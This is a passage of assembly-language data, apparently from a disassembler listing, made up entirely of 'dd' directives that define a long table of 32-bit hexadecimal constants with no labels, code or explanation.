		dd 296EDF07h, 959BE0Ch,	0EBADDC4Ah, 61642448h, 9DF7A0E1h
		dd 23774793h, 828AD8B7h, 0A1D5A4B1h, 0A6D5129Ah, 21A476FBh
		dd 226CED2Ch, 7A7EE2B1h, 0E5C41F7h, 0E08C40FFh,	0FF569337h
		dd 1F7D9AA4h, 0CF29B04h, 0A6A124F6h, 0A40B0752h, 6417E4FFh
		dd 48AE8E77h, 76380AA6h, 7B544E6Ah, 17EE6EFFh, 95455AC0h
		dd 0C37F9780h, 0F9668E24h, 0BB4F4A12h, 2496162Eh, 145B02B6h
		dd 0E9A6F0B3h, 976F2E3Dh, 9200FF45h, 419984Dh, 1AD1E591h
		dd 0E41692A8h, 0E559547h, 9EFC5CAFh, 1CEDBC1h, 0C3CF96BEh
		dd 928A4D59h, 0B9BBA191h, 2F331BB5h, 41E94A42h,	0E4E0643Eh
		dd 0AA3CAE3h, 3A28823Fh, 1056B27Fh, 0E0334606h,	60C0A0E9h
		dd 83D94D6h, 7CBB665Eh,	0FDF48C29h, 0DB85591Dh,	2B047B2Fh
		dd 17618025h, 0CC2679C7h, 8B67F492h, 0B552B202h, 0A1C9EDAh
		dd 989E369Eh, 23C23492h, 46BA9D2Dh, 0C19CF6E4h,	6A709AC4h
		dd 0F83A3F94h, 484DBD08h, 4AF60652h, 19B070CCh,	0DFED66FEh
		dd 0EEA35E6h, 0E61A6BB8h, 0AD26947h, 0CC63277Dh, 26185724h
		dd 8196F40Ch, 0EF7C63D2h, 86C793FCh, 0D6F5B1FCh, 0A5CD24CCh
		dd 0FF886428h, 3875D7F8h, 0DB8D1C21h, 0CE1B5179h, 2EECE8B6h
		dd 66D3AA50h, 0A41701FAh, 0D64ABF04h, 0C471454Dh, 0D8919D58h
		dd 824F6A22h, 0EB9DD594h, 0D9BEEA09h, 17B92901h, 9BDA2538h
		dd 4C1FDBCBh, 7B19F7DFh, 8FD01163h, 192286F4h, 0C14EDB17h
		dd 1939C718h, 7F02A908h, 2799743Fh, 7807716h, 0FAB24CB6h
		dd 0EBCCFA09h, 0E596F0F1h, 0D7328D30h, 0D9DC736Ch, 28526BDBh
		dd 92931899h, 90BC9256h
		dd 826BA30Ah, 0B4DB06F1h, 0DA877DA1h, 61277AA7h, 0E227BA26h
		dd 0F5803DABh, 4393B13Eh, 35A4DB9Dh, 53130EE5h,	0FD8112CBh
		dd 0C17A1FB5h, 680CD1ADh, 38E37411h, 0B133516Bh, 873BA52Bh
		dd 8AA72D1Bh, 587611F2h, 0FC51B68Dh, 5B407EECh,	0D4129E2Bh
		dd 0DEA3F937h, 61CAA868h, 0B31AC4C0h, 7A304E4Eh, 722D9852h
		dd 96B7EF35h, 0EF9DD209h, 8D930820h, 0A9226D28h, 831DD35Ch
		dd 0ED4C8706h, 0ACFB8127h, 0E5B07D3Eh, 907EE2FAh, 5F4D323Ch
		dd 17384C92h, 93F419A6h, 0F10B7D81h, 3AD6041Ah,	0E5B4C92Eh
		dd 6E1B8883h, 9B6AC6Bh,	0A527B249h, 0D9367C7Fh,	534A6766h
		dd 84ACDACCh, 96A1E661h, 0E985D2B4h, 6B3BFAFCh,	3087DC97h
		dd 753DE829h, 0CD3F2563h, 205481C9h, 26546C8h, 95343661h
		dd 5F86C2EBh, 26F1FFBBh, 50B239C2h, 0F5559324h,	0C105D903h
		dd 0D6C4C1A9h, 41A4C02Fh, 2159F41Bh, 0CDEF2449h, 26B5E1Bh
		dd 0B272ECC3h, 4EB93985h, 0F9FEB533h, 74551AEDh, 0D92D607h
		dd 7BB9C579h, 8F1D174Ah, 79D49B50h, 0BAD2F732h,	3747B76Dh
		dd 1E8A5A1Dh, 99841933h, 3E924DF6h, 61091B65h, 544DCB7h
		dd 13C41C07h, 907EF521h, 2BE040BEh, 0C4C5ACB5h,	1B11B05Fh
		dd 8EB3A0B4h, 0E3ECDB68h, 8C3A0CF4h, 75DB6E89h,	0F4809F76h
		dd 0D7B5718Ah, 64B17FFh, 9804D4F3h, 89204036h, 0D9355393h
		dd 894277A8h, 6C95C493h, 3E69B965h, 55D4C158h, 0B74D8447h
		dd 0DC386DCAh, 380C9D37h, 9CCCE22Ch, 59544D8Eh,	3201E35Ch
		dd 0D19A339Ch, 0ED323E8Ch, 9EE76AABh, 9CFC71FCh, 3E6DEA65h
		dd 9EAD9BA0h, 6DFFEE6Bh, 5EEB48ABh, 0B23816A6h,	9D27C0AEh
		dd 51ABC562h, 0ECC94BD9h, 0BC893FF6h, 756378DEh, 0A461F892h
		dd 26A88BA8h, 6A4A3D3h,	0B700BFDDh, 0BAF4B714h,	0D6990AF8h
		dd 31B61955h, 302D0703h, 5B23C3A0h, 0B25B064Bh,	0DC5F9BBCh
		dd 0CE02F2BBh, 0F8206BACh, 7D53EED0h, 885666B6h, 13740A2Dh
		dd 0E9F2CAF9h, 327A5179h, 942B6C26h, 3EB9DBF9h,	8FA6B094h
		dd 0C4EC0A42h, 8E1356DBh, 273BEF3Ch, 7E63956Fh,	8829A049h
		dd 0D95A83B2h, 0AC96F502h, 633526C5h, 772BB56Eh, 0D18DA16h
		dd 8A6947B2h, 0BD186090h, 345A38F0h, 8F34EA7Eh,	0FE1F8453h
		dd 0EBEA52A8h, 0F45200C9h, 3B23E4EEh, 0F5DF928h, 0D2C28D7h
		dd 0DCCF6F15h, 0CD85521Dh, 274CB77h, 9FA26BF6h,	3B1AE32Ah
		dd 81E98563h, 0B42E455Ah, 851AB9FBh, 0D1F8687Ch, 5C244803h
		dd 0E9FE2FA8h, 0C625B5C6h, 77C98686h, 0F1ABB650h, 3F6D6F4h
		dd 0E8554D20h, 2F7B0BE0h, 70D274C3h, 0C26C9FC2h, 0AAB2605Ch
		dd 25504224h, 758D066Dh, 32357EE2h, 48787251h, 34DD6E73h
		dd 64CDB65Ah, 890879D3h, 0E6481678h, 0BCF6FBC5h, 9C223883h
		dd 247BA857h, 0C6B629A0h, 40A9EEC8h, 7BBC1765h,	9B87D795h
		dd 55D3EF4Bh, 50A7A4FAh, 3BBEA6AFh, 58C13E72h, 1669C350h
		dd 392398C9h, 2CFB70D2h, 7F6CA76Eh, 9368D529h, 63B025DDh
		dd 73585F4Fh, 26C086A1h, 0E6D0E38h, 49DEF8E5h, 0B4C72E64h
		dd 2C6A0639h, 6E8EAE57h, 0C97534F5h, 0D974660Ch, 0E141F72Bh
		dd 72B4602Eh, 45D125C0h, 38AA47C4h, 51D92167h, 0B970F66Dh
		dd 0CC254A63h, 5FE3AC47h, 8647261Ch, 0B0750D80h, 90F5D926h
		dd 0C0F4538Ch, 7E2D9035h, 0F6FD624Eh, 20363852h, 7DE624B3h
		dd 36552343h, 6B8916CEh, 0A9C4989Ch, 0C3C4A4D5h, 0E932AE43h
		dd 79B65488h, 0E48402CCh, 25F15FCCh, 58D6448h, 7DA48706h
		dd 19854149h, 97758996h, 1DF2DFE4h, 80CBBD77h, 0B4803E80h
		dd 63C8C674h, 191DC3FDh, 341A0357h, 0DEA5653Bh,	0CE708D64h
		dd 0CAA0B8CDh, 7BE21FB9h, 910E0268h, 42E769C6h,	128FDFDAh
		dd 730EDF8Ch, 67B22607h, 0BB77B9D9h, 5729331Ch,	0EB55742Bh
		dd 0D7002117h, 239F4E1Ah, 0F86F4332h, 8A9B4AD8h, 0A3545863h
		dd 0A9F4AD60h, 0F7787A5Ah, 0C318B5Bh, 3B9DFD5Ah, 31A11B26h
		dd 7B2DEA42h, 2ECA10C5h, 28F81FDBh, 7E635916h, 6B7A8B68h
		dd 2911368Eh, 0FA998928h, 788B9C22h, 0F6180728h, 3C85091h
		dd 0D10440B3h, 50273935h, 41548FCBh, 5724D59Eh,	581FA7CEh
		dd 30CC64DAh, 0ACE268A1h, 3F9F245Fh, 6E69398Eh,	7A8C4079h
		dd 0E49A94B2h, 861C204Fh, 0E881FD30h, 0B5A5F4A4h, 0A29E568Fh
		dd 69086510h, 0A20B2687h, 3B014B1Fh, 0A6F0544Fh, 0E1D806F2h
		dd 0F7B3CE5Ah, 0B8A69D73h, 0B70C3523h, 36BD1970h, 0DCE8CBC7h
		dd 845A0963h, 6732D6CAh, 0E0036816h, 0DC2266E4h, 0E288A58Ch
		dd 7750BA2Dh, 576FF014h, 0D245BA33h, 73A27024h,	726CD5A2h
		dd 2B1C7504h, 0B1B55567h, 0C4ADA19Fh, 17E2E8C5h, 2643EABAh
		dd 5CC17FDh, 69FDB027h,	98C06146h, 6E608CC2h, 0CE916489h
		dd 0E66D7D9Ah, 0EC581F0Fh, 2E7667C1h, 6B47CD70h, 25C96549h
		dd 385B9D10h, 65A74B07h, 2383A45Dh, 68293801h, 50B72540h
		dd 0AF6197CFh, 49456D1Dh, 81C5CC38h, 405783AAh,	0DAB3BF72h
		dd 0DCDBE193h, 72294BD1h, 9ABED9FAh, 0F0EFCA9Fh, 0CA94D720h
		dd 5AD0103Eh, 323DCD9Bh, 951D8655h, 1408369Dh, 0F7B858F3h
		dd 18D9275Dh, 1F2967D1h, 0C1549A31h, 7DBCC083h,	440D408Ch
		dd 6F8FFA53h, 78A120B9h, 186DF973h, 0E62F2B25h,	0A2500CF4h
		dd 61D1F978h, 9D3A9AC3h, 391FBCB2h, 0A836ED59h,	0CC150CD4h
		dd 922E466Ch, 554EF486h, 0E68B433Bh, 4EA7EF34h,	964E8EB0h
		dd 8EA0EB03h, 0AC0A04BEh, 374AFD18h, 73623A7Dh,	0EEB8010Dh
		dd 596F30B5h, 0D53EC1A5h, 6526921h, 6D6B77AEh, 0ECEF22BCh
		dd 7B185532h, 0AA391061h, 8C4FFF0h, 0EA211BBEh,	6C7660DDh
		dd 55EF92F4h, 0F2E5DAC2h, 7ADA7E1Fh, 97653B4Bh,	0EECBCDDDh
		dd 0E0A662E5h, 0EFE9741Eh, 0D8964C2Bh, 919D3899h, 0B799856Bh
		dd 0AE231657h, 975E085h, 184FCF15h, 38C6187h, 764357D3h
		dd 11EEB85Fh, 3D29214Fh, 3FFC93Ch, 0FCD0A4D8h, 7BF1E4C1h
		dd 9B963F1Ch, 0E769505Eh, 0EE94DB2Bh, 6C13D5C9h, 86E416DCh
		dd 3808D286h, 719A1FD5h, 0E551C14Ah, 0B20FA1AFh, 6BF1D7F9h
		dd 0D0EB61D8h, 0DF502D2Ah, 1D541C3Dh, 18D7C02Fh, 2B25B4A7h
		dd 0C1C06F5Ah, 8E1D2311h, 69464DC3h, 2778C552h,	524AB44Dh
		dd 24C41EE5h, 0B5E6FE70h, 0E748B364h, 0F04075C4h, 5A35D8D5h
		dd 660B0Ah, 1E501245h, 124FF821h, 0BD64B012h, 0E2FAC356h
		dd 0D5523075h, 0F2859A60h, 30F6814Ch, 3779E258h, 9EC96917h
		dd 0DCA35D71h, 9A1C654Dh, 80FA31C6h, 2D9CE1A9h,	5D1BC167h
		dd 9CDC409Fh, 0BCAC0DDFh, 81184F20h, 62FE65D8h,	4B46520Eh
		dd 4CE7931h, 0EA2C4CFCh, 5CF1C83Ah, 0E9BCEC7Fh,	97B036E7h
		dd 0F4C14EB6h, 9CCB579Dh, 896D3EADh, 0E1A77788h, 0EF1F333h
		dd 9F225080h, 63D4E063h, 7B45CA3h, 9CD672D6h, 0AE09D6Ch
		dd 0A8BA6336h, 4BB7BE0Eh, 306EB3Bh, 0B6FA135h, 85CF4287h
		dd 0D1BF4A1Ch, 203AEB58h, 0ACA02A12h, 7CDE8F7Fh, 3461AF47h
		dd 0D8239C86h, 0F47487ECh, 0DE8273A8h, 24A81183h, 2931D477h
		dd 2F2768AFh, 17A03C38h, 63054077h, 0F974FD13h,	0F0668F33h
		dd 0B01D1197h, 173DC44h, 0AC3D67DCh, 43CE4C07h,	1123091Fh
		dd 329FC5DDh, 0E0A5D171h, 0F42D67FBh, 0A331C8E6h, 0C11D196Bh
		dd 9D5C6B00h, 3663A987h, 588934h, 322E70B9h, 5779D7Eh
		dd 0E8C95470h, 6A9A9103h, 23490EFBh, 3B924BFh, 0C759D02h
		dd 4EA565D8h, 47F9AD9Ch, 8F2A0281h, 75082CFBh, 0F0F3E591h
		dd 0F157D69Dh, 0D7BC543Ch
		dd 6E4203F0h, 0C9F4AB29h, 72572DD1h, 1A8719AFh,	3BC35B56h
		dd 0F922AF04h, 62908F2Fh, 145ABE11h, 5E6C166Ch,	0BF56D71Eh
		dd 5C631220h, 0C40BC694h, 1C8D2718h, 336351A8h,	0A8A4F367h
		dd 0CF648DB2h, 0E69EAE99h, 1434BA90h, 506C995Eh, 0E5CD026Fh
		dd 89761B03h, 3280EBE1h, 0F819708Ah, 0BC031A6Dh, 507A228Dh
		dd 46478E42h, 68BFDF90h, 0ADADE3B0h, 7898070Dh,	0E61B5D27h
		dd 1D5E8BAEh, 5B3638F0h, 65B449CEh, 355A3B38h, 46D99626h
		dd 97CF801Bh, 8C136451h, 76E3C997h, 626EBDC9h, 5CA2199Bh
		dd 8028F51Fh, 0EA3944ECh, 6E032229h, 0D15568F5h, 0E0323EC1h
		dd 8C59F232h, 4E9AEB31h, 0B59860EBh, 63BBB86Ah,	0F61C45A7h
		dd 0BD40F0A0h, 0A00CA39Ah, 2F61E708h, 9CEE115Dh, 4BDFE150h
		dd 3D543B4Dh, 0BB4245C8h, 0FAC27DF1h, 25B603Fh,	85D3F465h
		dd 0AC89623Ah, 7B3A7272h, 143E5B0Fh, 7D4D28C2h,	0B171A90Fh
		dd 50D90A6Fh, 9B57B56Ch, 0BDCA7EF5h, 4FC28DFEh,	0E876DC4Ah
		dd 0CEFF765Bh, 30594FFEh, 0DCED89EFh, 6DC328C1h, 56D7E5BEh
		dd 6C32A201h, 0D4C5DE49h, 4EF5186Bh, 35C952D8h,	0B90EFB80h
		dd 765E7B59h, 5C7999Ch,	0FA268567h, 0CB5DD1D9h,	8E20A96Dh
		dd 63FC290Bh, 0AE9989A3h, 0DC2C5A54h, 395DA901h, 13CA5806h
		dd 73D8AF5h, 48D25EB4h,	0B5E2C75Bh, 50787458h, 5A6A21D4h
		dd 5821D01h, 99DE766Bh,	809E4266h, 0FCB4E2FFh, 3D50ACE9h
		dd 71CFC727h, 5CD46B12h, 0DCD5408Fh, 0C861281Fh, 0EAF4D3DCh
		dd 2F93081Ah, 2F50FFFDh, 1A24BE82h, 658786DDh, 0CA6D95A6h
		dd 453AA28Eh, 8E04D401h, 0E66B5DAAh, 3156936Dh,	0E98D42F7h
		dd 7326D558h, 0D7F4DD83h, 0B0BCC032h, 7F3734E2h, 0A84AE974h
		dd 0DE257A0Fh, 0B6999BB0h, 2F7E8352h, 0DEDE7386h, 0CC9ADB84h
		dd 51B0D359h, 0BEC2AD12h, 8DE8FF2Dh, 0B7F4AF5Eh, 0BABB706Dh
		dd 80065F68h, 668AD710h, 45CE501Eh, 7A408A1Dh, 0A13202C9h
		dd 40610C4Bh, 14971536h, 7ED5B1CDh, 237DEC6Ah, 0C29ACA30h
		dd 0C673BBF6h, 118AC760h, 30B1A9C9h, 0D5CEF920h, 0A43C272h
		dd 0A73D45FDh, 0FAE182D6h, 0A5C5EE8h, 0E452303Eh, 0E12CA6D3h
		dd 6BAD8C21h, 46090572h, 101AE426h, 48031558h, 5E5DAE31h
		dd 2821EF74h, 0A30BFFBAh, 0FC49C5Ah, 6DDF8123h,	0AB6888CFh
		dd 92C72CA6h, 0B7697C7h, 6B73E44h, 30F96FA5h, 30F28D19h
		dd 0EBC2D5h, 5662FC71h,	76352CD7h, 4D990189h, 0C6ED5CBEh
		dd 2A786263h, 7294D357h, 0B22C099Ah, 36A9AE30h,	6DB5807Dh
		dd 0B605E033h, 9CFD51BAh, 0BC58495Bh, 56983F04h, 1F9CFA63h
		dd 0B3900AE7h, 0BA032E31h, 393E5D49h, 17F8F89Bh, 48700335h
		dd 4626132Dh, 94108CCBh, 323D1109h, 6656A82Eh, 974B3273h
		dd 0E09E0FCBh, 974582DFh, 4C8721DFh, 2BAB834Bh,	7263C304h
		dd 0E15FC09Eh, 0F516400Ch, 2E42C514h, 0B12102D4h, 0CE8660C7h
		dd 0D681BCC4h, 0C20F823Dh, 0FE1159Bh, 0C9D0A967h, 0EB4B18F4h
		dd 2517A5E6h, 0E7019394h, 449C0659h, 4EB68B45h,	4B877261h
		dd 0F1C52D88h, 11FED4C4h, 0E6F22D8Bh, 80AA7486h, 82F0C744h
		dd 9CF5FF7h, 0AFB51B54h, 0F811B0C4h, 0D47BAC7Eh, 57F55FD7h
		dd 0A8DBFD0h, 0C01DF77Eh, 80D816E6h, 32CD697Dh,	57387F6Fh
		dd 705D969Dh, 1CEFA0FAh, 0A8A895D5h, 1F982B9Ch,	70A73145h
		dd 74FDCBC4h, 0B8728A28h, 0BDBCF1A5h, 0F486A855h, 10313969h
		dd 0EFADB720h, 0FBFAC3ABh, 0F5A95FE5h, 16926FC8h, 0B6276AE0h
		dd 6C478BBh, 0AAE70791h, 32C18083h, 0D8674918h,	0B7904D38h
		dd 590551E0h, 0B42E1AB8h, 0ECB30304h, 4B80AB2Ah, 0FBB11200h
		dd 907E4EA1h, 0CA056006h, 5F086E6h, 0AB38A664h,	0DB56241Eh
		dd 1FDFE814h, 0A6BB12C8h, 7C655D69h, 5ACA21A8h,	71B74A5Dh
		dd 0C506EACCh, 70009962h, 97165331h, 123B3DB8h,	53716E86h
		dd 24D396F1h, 3AAA3687h, 0B1919EC5h, 0EEF8725Eh, 872DF27h
		dd 426535D4h, 0FBEFDDD8h, 0DD786134h, 0DD90895Dh, 0F1096272h
		dd 7D8C2051h, 90712069h, 0DA776E29h, 54F4E28h, 4AEE0A61h
		dd 0A313EEB6h, 82FD882Ch, 0C57A746Eh, 2CA6A3E0h, 0E1C478C9h
		dd 0B9CF826Eh, 7248543h, 0A38B659Dh, 7974FE8h, 2261BF53h
		dd 0E84306F8h, 0C1C1712Eh, 0A2CF8F3Eh, 96249194h, 2F1C6E32h
		dd 9AD15DF5h, 7A072F4h,	740AF515h, 42683F58h, 83F28544h
		dd 9F7BC161h, 53658ECDh, 3F9BA79Ah, 8CD59B87h, 0A2C81602h
		dd 0D15AD2C9h, 0A00EC316h, 0A238F200h, 11CC0954h, 0BAE3EC0Ch
		dd 70EC77CFh, 869FCB11h, 73570373h, 29D56A0h, 92E2FF55h
		dd 0BC9FD8BBh, 0DF219084h, 8A2353EBh, 0A679230Bh, 35C1D5E1h
		dd 8E19CD04h, 63E8F273h, 1CAB4B2Fh, 1D199AC9h, 919C379Bh
		dd 77EDB2FEh, 0DD3DECF1h, 87FDC8C8h, 0D3CDC46Eh, 56171D07h
		dd 42443322h, 0F0C95E60h, 2FEC8E02h, 0D9C5F189h, 1949FDE6h
		dd 0ECBF1057h, 241B0E23h, 0D45524C7h, 0FE4B2C99h, 4525FBD6h
		dd 433CE666h, 0C443500h, 34355775h, 0A0CF99A6h,	557540F5h
		dd 0D8198D7h, 0FBF58BBEh, 5429B92Ah, 37E4B2D6h,	0E1FC3349h
		dd 43140AA6h, 3F9F9B55h, 400EAB7Ch, 128A54DBh, 20EFB9EBh
		dd 1BFDE245h, 48186D56h, 0DE33EFBCh, 928743EAh,	6B87516Fh
		dd 84B157E9h, 2E0A0E6Fh, 5575343Bh, 0A4063E0Dh,	0ACB47FD6h
		dd 65194C79h, 0B7EF4AFDh, 0ED4E602h, 84151BA0h,	3A848CDFh
		dd 3779FAF7h, 0EB611351h, 0D2ABB790h, 0A11A1CD0h, 35B8F4Bh
		dd 643EF6B6h, 4EA8EB8h,	3AEEB0D7h, 0AA99E316h, 6827457Eh
		dd 11BAC832h, 4C800C7Ch, 2FFBAC9h, 263DFBB7h, 0D274640Eh
		dd 7D8C424Fh, 268C5437h, 31169C10h, 0E639EEB4h,	86CD12BBh
		dd 97E8E3CCh, 0F3508BC4h, 2E1FED77h, 25B7EE0Eh,	0EFE02661h
		dd 41C6C2A7h, 0DCAED299h, 16CFE89Ch, 17109D96h,	0D93F5A90h
		dd 91A8568Dh, 3A1B49E0h, 8DBE8FB9h, 8F771190h, 1A7E8575h
		dd 0EF79DFA2h, 1712AB07h, 599678E0h, 0A7CB8431h, 0A046DDBCh
		dd 31ECDAB4h, 0F20547CEh, 0EE2E17CCh, 0F11E5337h, 0F81A21BFh
		dd 0DFA6933Fh, 58AF0D60h, 0F65AF058h, 73C11E56h, 54BD20CDh
		dd 716DDF7Dh, 0A1B31ABDh, 8371C877h, 0A32ECD3Ah, 4C8B4F73h
		dd 81F7B514h, 99DB1BFh,	456AD796h, 62B156F9h, 901E814h
		dd 34939528h, 0D7DAB373h, 1BB74071h, 891D3F5h, 26EE8241h
		dd 91CE9FD2h, 3A397101h, 5E2295C2h, 0C064F450h,	0BE3638C5h
		dd 56C47205h, 3D1932B5h, 0DE6DF1DFh, 0D3A1A82Dh, 344A0324h
		dd 61D299E6h, 0A16981ECh, 0F01E1F2h, 0D0A8F180h, 0E6C0C40Dh
		dd 3BEC44A8h, 33CB0C6Ch, 16FC51D6h, 0D4D0AE4Eh,	83C6E25Eh
		dd 54DDC928h, 13E43F07h, 506D22BFh, 0E9DE2A56h,	8BF1E63Fh
		dd 1632FE95h, 1C4C2BCFh, 3DC1DAEDh, 24A3BD92h, 5342172Eh
		dd 667C02CEh, 0AEA4FC20h, 6A4C1250h, 4F9FA693h,	0CFC23061h
		dd 0AF8ACB4Bh, 6073DCC6h, 159E4DC8h, 4CFFEEB6h,	0BD959641h
		dd 53F06C2Ch, 0F6C65A0Bh, 0BB2DC06h, 2974A41h, 7894F9EFh
		dd 0C35A8806h, 7264C99Ch, 37644FA8h, 0F56C4665h, 3362489Dh
		dd 0C52B13BDh, 5D9F901Fh, 0CE4F90FEh, 0E7812E0Bh, 9BC79541h
		dd 3F064B7Ah, 9E1D18ADh, 0A43EB84Eh, 0A1F2F440h, 572B8196h
		dd 0EB862F06h, 0F546463Ah, 0B7E9D5BCh, 582036DAh, 230FA22h
		dd 0EED1E99h, 0A75E8F90h, 0EF945E20h, 444C5A89h, 0F4C028CCh
		dd 45AB0867h, 796D7B9h,	0F9197B3h, 0F0298AB2h, 55649296h
		dd 62F5663Ah, 44CC9E72h
		dd 248ED17Dh, 8F2FC326h, 87114B3Fh, 65F76CEEh, 19969121h
		dd 0FF33E72h, 461FF4A0h, 0CC587CB3h, 1F2C7A82h,	8B201660h
		dd 7B281EBCh, 0F188E3BEh, 9529FF8h, 0BBFADADBh,	0BF8E06F5h
		dd 17C39D31h, 333411AAh, 6E1F60DEh, 7C21C45Eh, 0DCB9B474h
		dd 0C29523E5h, 999A846Ch, 2BA8A9B6h, 39AA8032h,	0F27F8D38h
		dd 6BE4504Ah, 6F2178F1h, 0B7FECF82h, 1F6B83A2h,	34443EAAh
		dd 48A81E6Ah, 941F1046h, 81D3CE1Ah, 3A076E7h, 33181E56h
		dd 223B0BEBh, 7F22DD5Ah, 0E3F52951h, 3A5FD82Bh,	1AE2AD9Dh
		dd 71E69E33h, 4BE4CCC6h, 926FB5D1h, 0C2475B9Dh,	0F782E945h
		dd 5E00A08Ah, 294D2B33h, 0D0FE3749h, 0A92624BBh, 0F031E1F3h
		dd 2F196FB2h, 34B878B2h, 76DEA2BFh, 2F5B5304h, 9EE6E22Eh
		dd 0D5620976h, 0FEF5B500h, 0E1C82EB2h, 0CA278817h, 2901B48h
		dd 0AB20F940h, 3C60CA0h, 82D68725h, 38A44F3Ah, 0EF41F7BDh
		dd 0D808664h, 212AFDA3h, 0FDEA800Eh, 682DA9Eh, 0DBD84AF5h
		dd 39799C1Bh, 7A4DA660h, 0CA9F2920h, 0DEDA21E4h, 0C992DB60h
		dd 9BBFF97Eh, 0B5744BDAh, 211BC287h, 1ED437EDh,	0F4DA7388h
		dd 0FFCF478Eh, 0B1A6ACDBh, 0E511DA67h, 5BD84949h, 14FA226Eh
		dd 0F384E6A8h, 56ECE35Ch, 5B49879Ch, 671B39EDh,	0D0EE425Ch
		dd 0FA66E019h, 0E78810C3h, 121A71h, 7F843E3Bh, 4BCF363Ch
		dd 40A9F51Eh, 4E07736Eh, 0BAA1AF0Ah, 1513AA86h,	0F2CF06E7h
		dd 179624EEh, 0C8E099A7h, 82BEC76Dh, 20E3C551h,	0C85A847Fh
		dd 1A71B2BFh, 0B7F92E4Bh, 0C64DCD5Eh, 1FD99204h, 7D2AE5BCh
		dd 0E6DC43C1h, 7A43AEFh, 7CABA110h, 0C9BF187Ah,	9D1BB2D5h
		dd 0AECFC5AAh, 4AB58965h, 0DF07CFDEh, 4D1BABF9h, 0EFF550Dh
		dd 4F0071FEh, 0DEF4556Ah, 4FAE2523h, 23AD67h, 0A36C4B1Ch
		dd 179F01F8h, 0FC95FC3Bh, 1000CE68h, 5C8FBAFh, 0DEF4EAA5h
		dd 47205E75h, 0BCEE764Bh, 0A95896F0h, 0A57C0DA7h, 0A0FF37D9h
		dd 95C94A0Bh, 88B23155h, 8A34E839h, 0E1764BC2h,	8F57737Eh
		dd 0B1A8238Ah, 5C0D59FDh, 9534B05Fh, 6B442504h,	24F49F5Fh
		dd 14102A8Fh, 0DE54FB38h, 0A91A4B31h, 5CCF3C62h, 6FB56CE4h
		dd 5EE0764Bh, 0E810D75h, 37EADEAFh, 0F98BA7CCh,	24878353h
		dd 0F7AB0D02h, 0A2B7ACC6h, 6ACBF5EDh, 0DF03C7CAh, 0DDAD9A1Dh
		dd 0B6B2334Eh, 26EE7A4Dh, 9E62AA53h, 349A4027h,	0FEC75BB5h
		dd 5D795B92h, 0EB86E698h, 0DF769EC0h, 0C4BBAB53h, 36E10E25h
		dd 7857EC40h, 0AF808092h, 0F8A731B4h, 2BE1FCA8h, 2E7E655Bh
		dd 5BF922F1h, 5A4E54FBh, 79ACD4C9h, 10E268EFh, 0D4296C9Dh
		dd 0FF280045h, 0F925724Eh, 70A71E2Bh, 3490349Fh, 89C3C156h
		dd 0B8C216F9h, 35F8C5D1h, 0F9406AB5h, 0EEC33BCDh, 2CAF6BB9h
		dd 90D342Dh, 0CDCFE244h, 2535038Fh, 0BF5B4E34h,	7CF1E32h
		dd 8BDB4D0h, 0A9125786h, 0F49D3D30h, 0D71F7ACDh, 0C933E8F0h
		dd 5FF41B8Dh, 3D2F8A4h,	25EC12C1h, 50B7499h, 0A59B5563h
		dd 3DCC7D5Fh, 9068DC7Dh, 0E849A2BFh, 7FF54C3Ah,	2CF54EA0h
		dd 7CF31140h, 0CC742B5Eh, 0C7981992h, 0BEBF64E6h, 5EB0DDABh
		dd 384A6A7h, 0EC441943h, 3A8633C9h, 23BD50EEh, 0E35C0AF4h
		dd 482ABDFh, 0E08D3BCAh, 83A3BDF1h, 22AFF212h, 46445192h
		dd 3A2A44C7h, 0FF44E678h, 7C56A11Bh, 527C3E3Ch,	0C53804EAh
		dd 5C70199Bh, 750FC0DCh, 1FF60Dh, 428B388Ch, 0F6E83EA2h
		dd 0EF49AC12h, 0C84908B2h, 22DE7DDh, 65005B9Bh,	9DA679E4h
		dd 0C0FF1D86h, 205108Ch, 0AB07BD18h, 2D9942B9h,	0E5876093h
		dd 84AA7A0Fh, 5FED367Dh, 0D828C4C8h, 390B0770h,	0E1933F9Dh
		dd 87BF43ACh, 0D3059A4Bh, 43C9F3BDh, 0A136ABA2h, 9E6C594Bh
		dd 57024120h, 0CFB97FEAh, 0B65476Bh, 72BA14E0h,	0DC8CF7CDh
		dd 0B1827416h, 0EDBD0655h, 0C12B93B0h, 0BF9FB4ACh, 3C86E293h
		dd 0BF6DA54Ah, 9C1CA080h, 69EF7B26h, 91961A78h,	7985A763h
		dd 6E4D7FC9h, 166E2CC3h, 0F3F0DCAh, 1F877068h, 887622A7h
		dd 0EDFD6156h, 35F30C27h, 0A950FB5Eh, 0A438F8A3h, 0BE04B3E4h
		dd 29BD5EE7h, 0C0DEE117h, 3F68B9FEh, 0F1E8250Dh, 0BBE21716h
		dd 539B845Fh, 8CF163B1h, 0B06B8EB3h, 0D5E5AC56h, 3F9BA048h
		dd 9E47EE04h, 2CBAB327h, 327EAACh, 0DF16D385h, 6E8552CDh
		dd 81127B14h, 0F005ADEEh, 90CAFEBDh, 0EE63541Bh, 0E0964923h
		dd 0A695F59Eh, 0F4EA9969h, 0B2ED7D8h, 2C756F08h, 16CEF361h
		dd 82CD1635h, 88E10DFEh, 79D94704h, 2BEF9698h, 6359A6EAh
		dd 8F6D5F13h, 3C669615h, 10B98E7Ch, 44B3910Bh, 97E4C3CCh
		dd 0A5E48163h, 4C59536Bh, 0B8D1D9B7h, 0ABBBF6B5h, 0EF6CEFA1h
		dd 0BBD462E6h, 200F5055h, 73632F99h, 6182877Ah,	18BC2D7Fh
		dd 53924F50h, 26F2D4D3h, 0A479A99Eh, 7131BD56h,	1AB79AAAh
		dd 79534CF5h, 0DF63D9C7h, 3CFBA98Bh, 0D3F443A1h, 0C866E804h
		dd 0B47B8960h, 86FEA11Ch, 488BC23Ah, 407B6506h,	878B6192h
		dd 0ECD4EB02h, 0A725FF66h, 9B21FCE2h, 8E7FAA96h, 2C36F88Ch
		dd 0C9E5871Dh, 0FC572D40h, 73B35EFCh, 0C23631FEh, 2EAA4E22h
		dd 0F15EF9FCh, 0EA13C093h, 4CFF3A3Ch, 0E79C9F04h, 0DFD441D5h
		dd 74FFAC96h, 0C8BDCB03h, 0BF68C963h, 62BCD98Ah, 61D86740h
		dd 9483AA57h, 0BCE2DB5Fh, 0F83E0308h, 0F116ED0Dh, 7A5A0E21h
		dd 48DF05ACh, 0D4441E4Bh, 7325E4BCh, 6E73F0D8h,	0C9B238ABh
		dd 0CCD7EE7Fh, 0D407EB8Bh, 0C7388E6h, 0C6E847FBh, 0BF3F0FD0h
		dd 68058C0Dh, 29D819E9h, 0EEF702D4h, 40E364DEh,	0B4E2313Dh
		dd 4396E411h, 0C0C532DFh, 4080AEB4h, 565319B3h,	60ACC082h
